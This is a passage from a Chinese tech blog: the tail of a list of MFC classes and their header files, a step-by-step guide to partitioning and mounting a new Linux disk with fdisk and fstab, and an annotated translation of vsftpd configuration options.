CDaoTableDef    afxdao.h    
CDaoWorkspace    afxdao.h    
CDatabase    afxdb.h    
CDataExchange    afxwin.h    
CDataPathProperty    afxctl.h    
CDateTimeCtrl    afxdtctl.h    
CDBException    afxdb.h    
CDBVariant    afxdb.h    
CDC    afxwin.h    
CDHtmlDialog    afxdhtml.h    
CDialog    afxwin.h    
CDialogBar    afxext.h    
CDocItem    afxole.h    
CDockState    afxadv.h    
CDocObjectServer    afxdocob.h    
CDocObjectServerItem    afxdocob.h    
CDocTemplate    afxwin.h    
CDocument    afxwin.h    
CDragListBox    afxcmn.h    
CDumpContext    afx.h    
CDWordArray    afxcoll.h    
CEdit    afxwin.h    
CEditView    afxext.h    
CEvent    afxmt.h    
CException    afx.h    
CFieldExchange    afxdb.h    
CFile    afx.h    
CFileDialog    afxdlgs.h    
CFileException    afx.h    
CFileFind    afx.h    
CFindReplaceDialog    afxdlgs.h    
CFont    afxwin.h    
CFontDialog    afxdlgs.h    
CFontHolder    afxctl.h    
CFormView    afxext.h    
CFrameWnd    afxwin.h    
CFtpConnection    afxinet.h    
CFtpFileFind    afxinet.h    
CGdiObject    afxwin.h    
CGopherConnection    afxinet.h    
CGopherFile    afxinet.h    
CGopherFileFind    afxinet.h    
CGopherLocator    afxinet.h    
CHeaderCtrl    afxcmn.h    
CHotKeyCtrl    afxcmn.h    
CHtmlEditCtrl    afxhtml.h    
CHtmlEditCtrlBase    afxhtml.h    
CHtmlEditDoc    afxhtml.h    
CHtmlEditView    afxhtml.h    
CHtmlStream    afxisapi.h    
CHtmlView    afxhtml.h    
CHttpArgList    afxisapi.h    
CHttpConnection    afxinet.h    
CHttpFile    afxinet.h    
CHttpFilter    afxisapi.h    
CHttpFilterContext    afxisapi.h    
CHttpServer    afxisapi.h    
CHttpServerContext    afxisapi.h    
CImageList    afxcmn.h    
CInternetConnection    afxinet.h    
CInternetException    afxinet.h    
CInternetFile    afxinet.h    
CInternetSession    afxinet.h    
CIPAddressCtrl    afxcmn.h    
CLinkCtrl    afxcmn.h    
CList    afxtempl.h    
CListBox    afxwin.h    
CListCtrl    afxcmn.h    
CListView    afxcview.h    
CLongBinary    afxdb_.h    
CMap    afxtempl.h    
CMapPtrToPtr    afxcoll.h    
CMapPtrToWord    afxcoll.h    
CMapStringToOb    afxcoll.h    
CMapStringToPtr    afxcoll.h    
CMapStringToString    afxcoll.h    
CMapWordToOb    afxcoll.h    
CMapWordToPtr    afxcoll.h    
CMDIChildWnd    afxwin.h    
CMDIFrameWnd    afxwin.h    
CMemFile    afx.h    
CMemoryException    afx.h    
CMenu    afxwin.h    
CMetaFileDC    afxext.h    
CMiniFrameWnd    afxwin.h    
CMonikerFile    afxole.h    
CMonthCalCtrl    afxdtctl.h    
CMultiDocTemplate    afxwin.h    
CMultiLock    afxmt.h    
CMultiPageDHtmlDialog    afxdhtml.h    
CMutex    afxmt.h    
CNotSupportedException    afx.h    
CObArray    afxcoll.h    
CObject    afx.h    
CObList    afxcoll.h    
COccManager    afxocc.h    
COleBusyDialog    afxodlgs.h    
COleChangeIconDialog    afxodlgs.h    
COleChangeSourceDialog    afxodlgs.h    
COleClientItem    afxole.h    
COleCmdUI    afxdocob.h    
COleControl    afxctl.h    
COleControlContainer    afxocc.h    
COleControlModule    afxctl.h    
COleControlSite    afxocc.h    
COleConvertDialog    afxodlgs.h    
COleCurrency    afxdisp.h    
COleDataObject    afxole.h    
COleDataSource    afxole.h    
COleDBRecordView    afxoledb.h    
COleDialog    afxodlgs.h    
COleDispatchDriver    afxdisp.h    
COleDispatchException    afxdisp.h    
COleDocObjectItem    afxole.h    
COleDocument    afxole.h    
COleDropSource    afxole.h    
COleDropTarget    afxole.h    
COleException    afxdisp.h    
COleInsertDialog    afxodlgs.h    
COleIPFrameWnd    afxole.h    
COleLinkingDoc    afxole.h    
COleLinksDialog    afxodlgs.h    
COleMessageFilter    afxole.h    
COleObjectFactory    afxdisp.h    
COlePasteSpecialDialog    afxodlgs.h    
COlePropertiesDialog    afxodlgs.h    
COlePropertyPage    afxctl.h    
COleResizeBar    afxole.h    
COleSafeArray    afxdisp.h    
COleServerDoc    afxole.h    
COleServerItem    afxole.h    
COleStreamFile    afxole.h    
COleTemplateServer    afxdisp.h    
COleUpdateDialog    afxodlgs.h    
COleVariant    afxdisp.h    
CPageSetupDialog    afxdlgs.h    
CPaintDC    afxwin.h    
CPalette    afxwin.h    
CPen    afxwin.h    
CPictureHolder    afxctl.h    
CPoint    atltypes.h    
CPrintDialog    afxdlgs.h    
CPrintDialogEx    afxdlgs.h    
CProgressCtrl    afxcmn.h    
CPropertyPage    afxdlgs.h    
CPropertySheet    afxdlgs.h    
CPropExchange    afxctl.h    
CPtrArray    afxcoll.h    
CPtrList    afxcoll.h    
CReBar    afxext.h    
CReBarCtrl    afxcmn.h    
CRecentFileList    afxadv.h    
CRecordset    afxdb.h    
CRecordView    afxdb.h    
CRect    atltypes.h    
CRectTracker    afxext.h    
CResourceException    afxwin.h    
CRgn    afxwin.h    
CRichEditCntrItem    afxrich.h    
CRichEditCtrl    afxcmn.h    
CRichEditDoc    afxrich.h    
CRichEditView    afxrich.h    
CScrollBar    afxwin.h    
CScrollView    afxwin.h    
CSemaphore    afxmt.h    
CSharedFile    afxadv.h    
CSingleDocTemplate    afxwin.h    
CSingleLock    afxmt.h    
CSize    atltypes.h    
CSliderCtrl    afxcmn.h    
CSocket    afxsock.h    
CSocketFile    afxsock.h    
CSpinButtonCtrl    afxcmn.h    
CSplitterWnd    afxext.h    
CStatic    afxwin.h    
CStatusBar    afxext.h    
CStatusBarCtrl    afxcmn.h    
CStdioFile    afx.h    
CStringArray    afxcoll.h    
CStringList    afxcoll.h    
CSyncObject    afxmt.h    
CTabCtrl    afxcmn.h    
CToolBar    afxext.h    
CToolBarCtrl    afxcmn.h    
CToolTipCtrl    afxcmn.h    
CTreeCtrl    afxcmn.h    
CTreeView    afxcview.h    
CTypedPtrArray    afxtempl.h    
CTypedPtrList    afxtempl.h    
CTypedPtrMap    afxtempl.h    
CUIntArray    afxcoll.h    
CUserException    afxwin.h    
CView    afxwin.h    
CWaitCursor    afxwin.h    
CWinApp    afxwin.h    
CWindowDC    afxwin.h    
CWinThread    afxwin.h    
CWnd    afxwin.h    
CWordArray    afxcoll.h

发表在 article | 标签为 | C/C++头文件一览已关闭评论

linux下使用fdisk工具快速挂载新硬盘

在linux操作系统下挂载一个新硬盘不如windows简单,特别是在命令行下,但只要利用linux自带的分区工具fdisk,便能随心所欲为新硬盘快速分区并挂载到原来的系统。

 

      多余的操作不多讲,下面介绍的就是以最简便的方式将一个新的硬盘合理化挂载到现有的linux操作系统中,只要记好步骤,闭上眼睛也能做好,以下以本人使用的redhat as4 u5为例,其他linux系统大同小异。

一、把新硬盘安装到电脑上并做合理跳线,启动电脑进入原来硬盘的操作系统。
这点不用多介绍了吧~~

二、使用fdisk工具格式化新硬盘
1.打开终端
2.#fdisk -l
(浏览全部硬盘信息如下,显示现在有两块硬盘,一块250G,另一块15G,15G为刚刚新装上的硬盘,现在要做的便是给新硬盘分区、格式化并挂载)

Disk /dev/hda: 250.0 GB, 250059350016 bytes
255 heads, 63 sectors/track, 30401 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/hda1   *           1          13      104391   83  Linux
/dev/hda2              14       30401   244091610   8e  Linux LVM

Disk /dev/hdd: 15.0 GB, 15020457984 bytes
16 heads, 63 sectors/track, 29104 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/hdd1               1         389      196024+  83  Linux
/dev/hdd2             390       29104    14472360    5  Extended
/dev/hdd5             390       29104    14472328+  83  Linux

3.#fdisk /dev/hdd
(选中对新硬盘/dev/hdd进行操作)

The number of cylinders for this disk is set to 29104.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
   (e.g., DOS FDISK, OS/2 FDISK)

Command (m for help):

4.在这里介绍几个常用操作命令
m  列出帮助信息
n   创建一个分区
d   删除一个分区
p   列出分区表
q   不保存退出
t    改变分区类型
w   保存退出

5.Command (m for help): d
   Partition number (1-6):1
(在这里我们使用d命令删除所有分区,以免看着不爽,如上面所示删除的是新硬盘的第一个分区,删除其他分区操作一样,删除分区用fdisk -l命令后看到新硬盘的如下信息,显示分区已经被全部干掉)

Disk /dev/hdd: 15.0 GB, 15020457984 bytes
16 heads, 63 sectors/track, 29104 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes

   Device Boot      Start         End      Blocks   Id  System

6.#fdisk /dev/hdd
   Command (m for help): n (用n命令创建新分区)
   Command action
   e   extended
   p   primary partition (1-4)
p (p表示新建主分区)
Partition number (1-4): 1 (选择主分区号)
First cylinder (1-29104, default 1): (设置分区起始位置,这里直接回车过)
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-29104, default 29104): +1000M
(指定分区大小,用+xxxM来表达,这里指定主分区1大小为1G,空间大小随意自由调整)

7.Command (m for help): n(创建扩展分区)
Command action
   e   extended
   p   primary partition (1-4)
e(e表示创建扩展分区)
Partition number (1-4): 2(因为1已被主分区占用,我们在这里将分区好设为2)
First cylinder (196-29104, default 196): (扩展分区起始位置,直接回车过)
Using default value 196
Last cylinder or +size or +sizeM or +sizeK (196-29104, default 29104): (指定扩展分区大小,直接回车将新硬盘剩余空间全部划分给扩展分区)
Using default value 29104

8.Command (m for help): n(创建逻辑分区)
   Command action
   l   logical (5 or over)
   p   primary partition (1-4)
l(l表示创建逻辑分区)
First cylinder (196-29104, default 196): (选择起始点,直接回车)
Using default value 196
Last cylinder or +size or +sizeM or +sizeK (196-29104, default 29104): (在这里指定逻辑分区的大小,可以将扩展分区划分为无数个逻辑分区,可以按照个人意愿去划分,方法和创建主分区一样,这里直接回车,将所有剩余空间划分给逻辑分区)

9.Command (m for help): p

Disk /dev/hdd: 15.0 GB, 15020457984 bytes
16 heads, 63 sectors/track, 29104 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes

   Device Boot      Start         End      Blocks   Id  System
/dev/hdd1               1         195       98248+  83  Linux
/dev/hdd2             196       29104    14570136    5  Extended
/dev/hdd5             196       29104    14570104+  83  Linux
(用p命令查看现在的分区信息,实际上新硬盘被分为了两个区,一个主分区1G,一个逻辑分区14G,到这里我们的分区工作就完成了)

10.我们可以通过t命令更改每个分区的分区类型
     Command (m for help): t(t命令表示指定分区类型)
     Partition number (1-5): 1(选择要改变分区类型的分区号)
     Hex code (type L to list codes): l(l列出所有可供选择的分区类型)
(如果在linux下使用,不用再进行这一步,我们可以通过p查看分区信息,分区已经被默认为linux类型)

11.Command (m for help): w(完成分区规划后不要忘记用w命令保存退出,如果觉得之前的分区工作不合理,千万不要使用w退出,使用q不保存退出便可以重新进行磁盘划分)

12.#mkfs.ext3 /dev/hdd1
(注:需要手动对每个分区进行格式化,不能一次性格式整个硬盘,例如:mkfs.ext3 /dev/sda,否则会格式化失败。)

三、挂载新硬盘
1.比如要将新硬盘的主分区1挂载到/home目录,逻辑分区5挂载到/usr/local/superman目录(自建目录),可以进行如下操作
#mount /dev/hdd1 /home(将主分区1挂载到/home目录)
#cd /usr/local
#mkdir superman
#mount /dev/hdd5 /usr/local/superman(将逻辑分区5挂载到/usr/local/superman目录)
#umount /home(如果想该变挂载目录,可用umonut卸载分区重新挂载你想挂载的目录)

2.#df -h
(查看新硬盘挂载后的信息,确保正确无误)

3.编辑fstab文件
(这点十分重要,一定要记得编辑该文件,不然重启电脑后系统将不会保存之前的挂载操作)
#vi /etc/fstab

# This file is edited by fstab-sync – see ‘man fstab-sync’ for details
/dev/VolGroup00/LogVol00 /                       ext3    defaults        1 1
LABEL=/boot             /boot                   ext3    defaults        1 2
none                    /dev/pts                devpts  gid=5,mode=620  0 0
none                    /dev/shm                tmpfs   defaults        0 0
none                    /proc                   proc    defaults        0 0
none                    /sys                    sysfs   defaults        0 0
/dev/VolGroup00/LogVol01 swap                    swap    defaults        0 0

(如上面所示,fstab文件保存了系统挂载的记录) 
我们需要在文件最后面加上两行文字规则,格式和其他文件中其他规则一样
/dev/hdd1            /home                       ext3    defaults        1 1
/dev/hdd5            /usr/local/superman    ext3    defaults        1 1

#x
保存退出  
                                                 
4.至此挂载新硬盘工作全部完成。

 

----------------------------------------------------------

OTHER

 

在服务器上把硬盘接好,启动linux,以root登陆。

比如我新加一块SCSI硬盘,需要将其分成三个区:
 

#fdisk /dev/sdb

进入fdisk模式:

Command (m for help):p   //查看新硬盘的分区

Command (m for help):n   //创建新分区



可以用m命令来看fdisk命令的内部命令;n命令创建一个新分区;d命令删除一个存在的分区;p命令显示分区列表;t命令修改分区的类型ID号;l命令显示分区ID号的列表;a命令指定启动分区;w命令是将对分区表的修改存盘让它发生作用。 



Command action

    e    extended    //输入e为创建扩展分区

    p    primary partition (1-4)    //输入p为创建主分区,这里我们选择p



Partion number(1-4):1   //第一个扩展分区,按你需求可以最多分4个主分区

First Cylinder(1-1014,default 1):   1   //第一个主分区起始的磁盘块数

Last cylindet or +siza or +sizeM or +sizeK: +1024MB   //可以是以MB为单位的数字或者以



磁盘块数,这里我们输入+1024MB表示分区大小为1G。

这样我们就创建完一个分区,如果要创建更多分区可以照上面的步骤继续创建。

创建完后用w保存分区。
 

Command (m for help): w

The partition table has been altered!



Calling ioctl() to re-read partition table.

Syncing disks.

这样就分区完,我们还要进行格式化
 

#mkfs -t ext3 -c /dev/sdb1   //如果有多个分区,则分区修改为sdb2这样

格式化完后我们需要进行挂载分区,
 

#mkdir www //创建/www目录,我们将把新的分区挂到www下

#mount /dev/sdb1 /www   //将/dev/sdb1挂载到/www

# df   //用df命令进行查看

Filesystem            1K-blocks       Used Available Use% Mounted on

/dev/sda2               3771316    1388956    2190788   39% /

/dev/sda1                101089       9463      86407   10% /boot

none                      62988          0      62988    0% /dev/shm

/dev/sdb1                485906       8239     452580    2% /www   //看到了,这就是我们刚



才新挂载的分区

到这里我们工作已接近尾声了,不过我们如果这样就结束的话,我们每次重新启动服务器后都要

进行手工挂载,这样很麻烦,我们需要修改/etc/fstab文件来进行自动挂载。
 

#vi /etc/fstab

在文件的末尾填加如下内容:
 

/dev/sdb1                /www                     ext3     defaults         1 2

如有多个分区可修改sdb1和/www,修改完后保存,重起服务器。

到此我们添加新硬盘的工作结束了

发表在 article | 标签为 , | linux下使用fdisk工具快速挂载新硬盘已关闭评论

vsftp 配置文件说明

anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
connect_from_port_20=YES

chroot_list_enable=YES
chroot_list_file=/etc/vsftpd/chroot_list

userlist_enable=YES
userlist_deny=NO
userlist_file=/etc/vsftpd/user_list

local_root=/wwwroot

listen=YES
listen_port=29

pam_service_name=vsftpd
userlist_enable=YES
tcp_wrappers=YES
pasv_max_port=1030
pasv_min_port=1024

———————————————————————

下表是 文本里面重要选项的解释

参数 说明
listen_address=ip address 指定侦听IP
listen_port=port_value 指定侦听端口,默认21
anonymous_enable=YES 是否允许使用匿名帐户
local_enable=YES 是否允许本地用户登录
nopriv_user=ftp 指定vsftpd服务的运行帐户,不指定时使用ftp
write_enable=YES 是否允许写入
anon_upload_enable=YES 匿名用户是否可上传文件
anon_mkdir_write_enable=YES 匿名用户是否建立目录
dirmessage_enable=YES 进入每个目录是显示欢迎信息,在每个目录下建立.message文件在里面写欢迎信息
xferlog_enable=YES 上传/下载文件时记录日志
connect_from_port_20=YES 是否使用20端口传输数据(是否使用主动模式)
chown_uploads=YES、chown_username=whoever 修改匿名用户上传文件的拥有者
xferlog_file=/var/log/vsftpd.log 日志文件
xferlog_std_format=YES 使用标准文件日志
idle_session_timeout=600 会话超时,客户端连接到ftp但未操作
data_connection_timeout=120 数据传输超时
async_abor_enable=YES 是否允许客户端使用sync等命令
ascii_upload_enable=YES、ascii_download_enable=YES 是否允许上传/下载二进制文件
chroot_local_user=YES 限制所有的本地用户在自家目录
chroot_list_enable=YES、chroot_list_file=/etc/vsftpd/chroot_list 指定不能离开家目录的用户,将用户名一个一行写在/etc/vsftpd/chroot_list文件里,使用此方法时必须chroot_local_user=NO
ls_recurse_enable=YES 是否允许使用ls -R等命令
listen=YES 开启ipv4监听
listen_ipv6=YES 开启ipv6监听
pam_service_name=vsftpd 使用pam模块控制,vsftpd文件在/etc/pam.d目录下
userlist_enable=YES 此选项被激活后,vsftpd将读取userlist_file参数所指定的文件中的用户列表。当列表中的用户登录FTP服务器时,该用户在提示输入密码之前就被禁止了。即该用户名输入后,vsftpd查到该用户名在列表中,vsftpd就直接禁止掉该用户,不会再进行询问密码等后续步聚
userlist_deny=YES 决定禁止还是只允许由userlist_file指定文件中的用户登录FTP服务器。此选项在userlist_enable 选项启动后才生效。YES,默认值,禁止文件中的用户登录,同时也不向这些用户发出输入密码的提示。NO,只允许在文件中的用户登录FTP服务器
tcp_wrappers=YES 是否允许tcp_wrappers管理
local_root=/home/ftp 所有用户的根目录,,对匿名用户无效
anon_max_rate 匿名用户的最大传输速度,单位是Byts/s
local_max_rate 本地用户的最大传输速度,单位是Byts/s
download_enable= YES 是否允许下载

在上面的参数中,可以通过将anonymous_enable设置为NO禁止匿名用户访问

——————————————————————————————————

VSFTPD.CONF.5
================
名字
vsftpd.conf :VSFTPD的配置文件

描述:
vsftpd.conf 用来控制VSFTPD的各项功能。默认状态下,它的位置是/etc/vsftpd.conf。
(译者注:也许老的LINUX版本下,配置文件是这个位置,但新的LINUX版本,例如FC2,配置文件是在/etc/vsftpd目录下。
但是也很可能和安装方式有关,RPM包安装,配置文件是/etc/vsftpd.conf. 源码包安装:/etc/vsftpd/vsftpd.conf.我不确定。
但以后我不再特别指出了,真累!!)
然而,你也可以通过修改配置行来指定到其它目录。这一点很有用,因为也许你想使用一些高级inetd功能,例如xinetd,在一个多虚拟主机的机器上调用不同的配置文件。

格式
VSFTPD.conf 的格式非常简单,每行要么是一个注释,要么是一个指令。注释行以#开始并被忽略掉。指令行格式如下:
配置项=参数值
很重要的一点是,这个格式里不存在任何空格。
默认的,每一个配置项在配置文件里都占一编辑行,可以被修改。

布尔选项
参数值的布尔选项可以是:
YES或者NO

allow_anon_ssl
只有ss1_enable激活了才可以启用此项。如果设置为YES,匿名用户将容许使用安全的SSL连接服务器。
默认值:NO

anon_mkdir_write_enable
如果设为YES,匿名用户将容许在指定的环境下创建新目录。如果此项要生效,那么配置write_enable必须被激活,并且匿名用户必须在其父目录有写权限。
默认值:NO

anon_other_write_enable
如果设置为YES,匿名用户将被授予较大的写权限,例如删除和改名。一般不建议这么做,除非想完全授权。
默认值:NO

anon_upload_enable
如果设为YES,匿名用户就容许在指定的环境下上传文件。如果此项要生效,那么配置write_enable必须激活。并且匿名用户必须在相关目录有写权限。
默认值:NO

anon_world_readable_only
启用的时候,匿名用户只容许下载完全可读的文件,这也就容许了ftp用户拥有对文件的所有权,尤其是在上传的情况下。
默认值:YES

anonymous_enable
控制是否容许匿名用户登录。如果容许,那么“ftp”和“anonymous”都将被视为“anonymous”而容许登录。
默认值:YES

ascii_download_enable
启用时,用户下载时将以ASCII模式传送文件。
默认值:NO

ascii_upload_enable
启用时,用户上传时将以ASCII模式传送文件。
默认值:NO

async_abor_enable
启用时,一个特殊的FTP命令”async ABOR”将容许使用。只有不正常的FTP客户端要使用这一点。而且,这个功能又难于操作,所以,
默认是把它关闭了。但是,有些客户端在取消一个传送的时候会被挂死(daidong注:估计是客户端无响应了),那你只有启用这个功能才能避免这种情况。
默认值:NO

background
启用时,并且VSFTPD是“listen”模式启动的(daidong注:就是standalone模式),VSFTPD将把监听进程置于后台。但访问VSFTPD时,控制台将立即被返回到SHELL。
默认值:NO

check_shell
注意:这个选项只对非PAM结构的VSFTPD才有效。如果关闭,VSFTPD将不检查/etc/shells以判定本地登录的用户是否有一个可用的SHELL。
默认值:YES

chmod_enable
启用时,将容许使用SITE CHMOD命令。注意,这只能用于本地用户。匿名用户绝不能使用SITE CHMOD。
默认值:YES

chown_uploads
如果启用,所以匿名用户上传的文件的所有者将变成在chown_username里指定的用户。这对管理FTP很有用,也许也对安全有益。
默认值:NO

chroot_list_enable
如果激活,你要提供一个用户列表,表内的用户将在登录后被放在其home目录,锁定在虚根下(daidong注:进入FTP后,PWD一下,可以看到当前目录是”/”,这就是虚根。是FTP的根目录,并非FTP服务器系统的根目录)。如果chroot_local_user设为YES后,其含义会发生一点变化。
在这种情况下,这个列表内的用户将不被锁定在虚根下。
默认情况下,这个列表文件是/etc/vsftpd.chroot_list, 但你也可以通过修改chroot_list_file来改变默认值。
默认值:NO

chroot_local_user
如果设为YES,本地用户登录后将被(默认地)锁定在虚根下,并被放在他的home目录下。
警告:
这个配置项有安全的意味,特别是如果用户有上传权限或者可使用SHELL的话。在你确定的前提下,再启用它。
注意,这种安全暗示并非只存在于VSFTPD,其实是广泛用于所有的希望把用户锁定在虚根下的FTP软件。
默认值:NO

connect_from_port_20
这用来控制服务器是否使用20端口号来做数据传输。为安全起见,有些客户坚持启用。相反,关闭这一项可以让VSFTPD更加大众化。
默认值:NO (但在范例配置文件中,启用了,即YES)

deny_email_enable
如果激活,你要提供一个关于匿名用户的密码E-MAIL表(daidong注:我们都知道,匿名用户是用邮件地址做密码的)以阻止以这些密码登录的匿名用户。
默认情况下,这个列表文件是/etc/vsftpd.banner_emails,但你也可以通过设置banned_email_file来改变默认值。
默认值:NO

dirlist_enable
如果设置为NO,所有的列表命令(daidong注:如ls)都将被返回“permission denied”提示。
默认值:YES

dirmessage_enable
如果启用,FTP服务器的用户在首次进入一个新目录的时候将显示一段信息。默认情况下,会在这个目录中查找.message文件,但你也可以
通过更改message_file来改变默认值。
默认值:NO (但在配置范例文件中启用了它)

download_enable
如果设为NO,下载请求将返回“permission denied”。
默认值:YES

dual_log_enable
如果启用,两个LOG文件会各自产生,默认的是/var/log/xferlog和/var/log/vsftpd.log。前一个是wu-ftpd格式的LOG,能被通用工具分析。
后一个是VSFTPD的专用LOG格式。
默认值: NO

force_dot_files
如果激活,即使客户端没有使用“a”标记,(FTP里)以.开始的文件和目录都会显示在目录资源列表里。但是把”.”和”..”不会显示。(daidong注:即LINUX下
的当前目录和上级目录不会以‘.’或‘..’方式显示)。
默认值:NO

force_local_data_ssl
只有在ssl_enable激活后才能启用。如果启用,所有的非匿名用户将被强迫使用安全的SSL登录以在数据线路上收发数据。
默认值:YES

force_local_logins_ssl
只有在ssl_enable激活后才能启用。如果启用,所有的非匿名用户将被强迫使用安全的SSL登录以发送密码。
默认值:YES

guest_enable
如果启用,所有的非匿名用户登录时将被视为”游客“,其名字将被映射为guest_username里所指定的名字。
默认值:NO

hide_ids
如果启用,目录资源列表里所有用户和组的信息将显示为”ftp”.
默认值:NO

listen
如果启用,VSFTPD将以独立模式(standalone)运行,也就是说可以不依赖于inetd或者类似的东东启动。直接运行VSFTPD
的可执行文件一次,然后VSFTPD就自己去监听和处理连接请求了。
默认值:NO

listen_ipv6
类似于listen参数的功能,但有一点不同,启用后VSFTPD会去监听IPV6套接字而不是IPV4的。这个设置和listen的设置互相排斥。
默认值:NO

local_enable
用来控制是否容许本地用户登录。如果启用,/etc/passwd里面的正常用户的账号将被用来登录。
默认值:NO

log_ftp_protocol
启用后,如果xferlog_std_format没有被激活,所有的FTP请求和反馈信息将被纪录。这常用于调试(debugging)。
默认值:NO

ls_recurse_enable
如果启用,”ls -R”将被容许使用。这是为了避免一点点安全风险。因为在一个大的站点内,在目录顶层使用这个命令将消耗大量资源。
默认值:NO

no_anon_password
如果启用,VSFTPD将不会向匿名用户询问密码。匿名用户将直接登录。
默认值:NO

no_log_lock
启用时,VSFTPD在写入LOG文件时将不会把文件锁住。这一项一般不启用。它对一些工作区操作系统问题,如Solaris / Veritas文件系统共存时有用。
因为那在试图锁定LOG文件时,有时候看上去象被挂死(无响应)了。(daidong注:这我也不是很理解。所以翻译未必近乎原意。原文如下:It exists to workaround
operating system bugs such as the Solaris / Veritas filesystem combination
which has been observed to sometimes exhibit hangs trying to lock log files.)
默认值:NO

one_process_model
如果你的LINUX核心是2.4的,那么也许能使用一种不同的安全模式,即一个连接只用一个进程。只是一个小花招,但能提高FTP的性能。请确定需要后再启用它,而且也请确定你的
站点是否会有大量的人同时访问。
默认值:NO

passwd_chroot_enable (daidong注:这段自己看,无语…)
if enabled, along with
.BR chroot_local_user
, then a chroot() jail location may be specified on a per-user basis. Each
user’s jail is derived from their home directory string in /etc/passwd. The
occurrence of /./ in the home directory string denotes that the jail is at that
particular location in the path.
默认值:NO

pasv_enable
如果你不想使用被动方式获得数据连接,请设为NO。
默认值:YES

pasv_promiscuous
如果你想关闭被动模式安全检查(这个安全检查能确保数据连接源于同一个IP地址)的话,设为YES。确定后再启用它(daidong注:原话是:只有你清楚你在做什么时才启用它!)
合理的用法是:在一些安全隧道配置环境下,或者更好地支持FXP时(才启用它)。
默认值:NO

port_enable
如果你想关闭以端口方式获得数据连接时,请关闭它。
默认值:YES

port_promiscuous
如果你想关闭端口安全检查(这个检查可以确保对外的(outgoing)数据线路只通向客户端)时,请关闭它。确认后再做!
默认值:NO

run_as_launching_user
如果你想让一个用户能启动VSFTPD的时候,可以设为YES。当ROOT用户不能去启动VSFTPD的时候会很有用(daidong注:应该不是说ROOT用户没有权限启动VSFTPD,
而是因为别的,例如安全限制,而不能以ROOT身份直接启动VSFTPD)。强烈警告!!别启用这一项,除非你完全清楚你在做什么(daidong:无语….)!!!随意地启动这一项会导致
非常严重的安全问题,特别是VSFTPD没有或者不能使用虚根技术来限制文件访问的时候(甚至VSFTPD是被ROOT启动的)。有一个愚蠢的替代方案是启用deny_file,将其设置为{/*,*..*}等,
但其可靠性却不能和虚根相比,也靠不住。
如果启用这一项,其他配置项的限制也会生效。例如,非匿名登录请求,上传文件的所有权的转换,用于连接的20端口和低于1024的监听端口将不会工作。其他一些配置项也可能被影响。
默认值:NO

secure_email_list_enable
如果你想只接受以指定E-MAIL地址登录的匿名用户的话,启用它。这一般用来在不必要用虚拟用户的情况下,以较低的安全限制去访问较低安全级别的资源。如果启用它,匿名用户除非
用在email_password_file里指定的E-MAIL做为密码,否则不能登录。这个文件的格式是一个密码一行,而且没有额外的空格(daidong注:whitespace,译为空格,不知道是否正确)。
默认的文件名是:/etc/vsftpd.email_passwords.
默认值:NO

session_support
这将配置是否让VSFTPD去尝试管理登录会话。如果VSFTPD管理会话,它会尝试并更新utmp和wtmp。它也会打开一个pam会话(pam_session),直到LOGOUT才会关闭它,如果使用PAM进行认证的话。
如果你不需要会话纪录,或者想VSFTPD运行更少的进程,或者让它更大众化,你可以关闭它。
注:utmp和wtmp只在有PAM的环境下才支持。
默认值:NO

setproctitle_enable
如果启用,VSFTPD将在系统进程列表中显示会话状态信息。换句话说,进程名字将变成VSFTPD会话当前正在执行的动作(等待,下载等等)。为了安全目的,你可以关闭这一项。
默认值:NO

ssl_enable
如果启用,vsftpd将启用openSSL,通过SSL支持安全连接。这个设置用来控制连接(包括登录)和数据线路。同时,你的客户端也要支持SSL才行。
注意:小心启用此项.VSFTPD不保证OpenSSL库的安全性。启用此项,你必须确信你安装的OpenSSL库是安全的。
默认值:NO

ssl_sslv2
要激活ssl_enable才能启用它。如果启用,将容许SSL V2协议的连接。TLS V1连接将是首选。
默认值:NO

ssl_sslv3
要激活ssl_enable才能启用它。如果启用,将容许SSL V3协议的连接。TLS V1连接将是首选。
默认值:NO

ssl_tlsv1
要激活ssl_enable才能启用它。如果启用,将容许TLS V1协议的连接。TLS V1连接将是首选。
默认值:YES

syslog_enable
如果启用,系统log将取代vsftpd的log输出到/var/log/vsftpd.log.FTPD的了log工具将不工作。
默认值:NO

tcp_wrappers
如果启用,vsftpd将被tcp_wrappers所支持。进入的(incoming)连接将被tcp_wrappers访问控制所反馈。如果tcp_wrappers设置了
VSFTPD_LOAD_CONF环境变量,那么vsftpd将尝试调用这个变量所指定的配置。
默认值:NO

text_userdb_names
默认情况下,在文件列表中,数字ID将被显示在用户和组的区域。你可以编辑这个参数以使其使用数字ID变成文字。为了保证FTP性能,默认
情况下,此项被关闭。
默认值:NO

tilde_user_enable
如果启用,vsftpd将试图解析类似于~chris/pics的路径名(一个”~”(tilde)后面跟着个用户名)。注意,vsftpd有时会一直解析路径名”~”和”~/”(在这里,~被解析成内部登录目录)。
~用户路径(~user paths)只有在当前虚根下找到/etc/passwd文件时才被解析。
默认值:NO

use_localtime
如果启用,vsftpd在显示目录资源列表的时候,在显示你的本地时间。而默认的是显示GMT(格林尼治时间)。通过MDTM FTP命令来显示时间的话也会被这个设置所影响。
默认值:NO

use_sendfile
一个内部设定,用来测试在你的平台上使用sendfile()系统呼叫的相关好处(benefit).
默认:YES

userlist_deny
这个设置在userlist_enable被激活后能被验证。如果你设置为NO,那么只有在userlist_file里明确列出的用户才能登录。
如果是被拒绝登录,那么在被询问密码前,用户就将被系统拒绝。
默认值:YES

userlist_enable
如果启用,vsftpd将在userlist_file里读取用户列表。如果用户试图以文件里的用户名登录,那么在被询问用户密码前,他们就将被系统拒绝。
这将防止明文密码被传送。参见userlist_deny。
默认值:NO

virtual_use_local_privs
如果启用,虚拟用户将拥有和本地用户一样的权限。默认情况下,虚拟用户就拥有和匿名用户一样的权限,而后者往往有更多的限制(特别是写权限)。
默认值:NO

write_enable
这决定是否容许一些FTP命令去更改文件系统。这些命令是STOR, DELE, RNFR, RNTO, MKD, RMD, APPE 和 SITE。
默认值:NO

xferlog_enable
如果启用,一个log文件将详细纪录上传和下载的信息。默认情况下,这个文件是/var/log/vsftpd.log,但你也可以通过更改vsftpd_log_file来指定其默认位置。
默认值:NO (但在范例配置文件中,启用了这一项)

xferlog_std_format
